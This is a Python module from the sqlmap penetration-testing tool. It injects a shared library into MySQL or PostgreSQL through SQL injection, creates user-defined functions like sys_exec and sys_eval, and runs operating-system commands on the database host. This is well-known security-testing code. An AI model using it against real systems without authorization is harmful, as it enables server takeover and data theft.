#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import os
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import Backend
from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.exception import sqlmapUserQuitException
from lib.core.unescaper import unescaper
from lib.request import inject
class UDF:
"""
This class defines methods to deal with User-Defined Functions for
plugins.
"""
def __init__(self):
self.createdUdf = set()
self.udfs = {}
self.udfToCreate = set()
def __askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
return True
else:
return False
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
exists = inject.getValue(query, resumeValue=False, charsetType=2)
if exists == "1":
return True
else:
return False
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
overwrite = True
if exists:
overwrite = self.__askOverwriteUdf(udf)
if overwrite:
self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table for user-defined functions"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None):
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_exec"
cmd = unescaper.unescape(cmd)
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_eval"
cmd = unescaper.unescape(cmd)
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isinstance(output, (list, tuple)):
output = output[0]
if output and isinstance(output, (list, tuple)):
output = output[0]
return output
def udfCheckNeeded(self):
if ( not conf.rFile or ( conf.rFile and Backend.getIdentifiedDbms() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn:
self.sysUdfs.pop("sys_bineval")
if not conf.osCmd and not conf.osShell and not conf.regRead:
self.sysUdfs.pop("sys_eval")
if not conf.osPwn and not conf.regAdd and not conf.regDel:
self.sysUdfs.pop("sys_exec")
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfSetLocalPaths(self):
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self, udf=None, inpRet=None):
errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
if udf in self.createdUdf:
continue
self.udfCheckAndOverwrite(udf)
if len(self.udfToCreate) > 0:
self.udfSetRemotePath()
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet)
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
supportTblType = "longtext"
elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
supportTblType = "text"
self.udfCreateSupportTbl(supportTblType)
def udfInjectSys(self):
self.udfSetLocalPaths()
self.udfCheckNeeded()
self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self):
if Backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ):
errMsg = "UDF injection feature is not yet implemented on %s" % Backend.getIdentifiedDbms()
raise sqlmapUnsupportedFeatureException(errMsg)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return
self.checkDbmsOs()
if not self.isDba():
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "which is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn("you need to specify the local path of the shared library")
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default=1)
if isinstance(udfCount, basestring) and udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
elif isinstance(udfCount, int):
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
defaultType = "string"
elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
defaultType = "text"
self.udfs[udfName]["input"] = []
default = 1
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: %d) " % (udfName, default)
while True:
parCount = readInput(msg, default=default)
if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0:
parCount = int(parCount)
break
elif isinstance(parCount, int):
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType)
if isinstance(parType, basestring) and parType.isdigit():
logger.warn("you need to specify the data-type of the parameter")
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, basestring) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
self.udfInjectCore(self.udfs)
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default="Y")
if choice[0] in ( "n", "N" ):
self.cleanup(udfDict=self.udfs)
return
elif choice[0] in ( "q", "Q" ):
self.cleanup(udfDict=self.udfs)
raise sqlmapUserQuitException
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf in self.udfs.keys():
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg)
if choice and choice[0] in ( "q", "Q" ):
break
elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn("you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] in ("y", "Y"):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
conf.dumper.string("return value", output)
else:
dataToStdout("No return value\n")
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] not in ("y", "Y"):
break
self.cleanup(udfDict=self.udfs)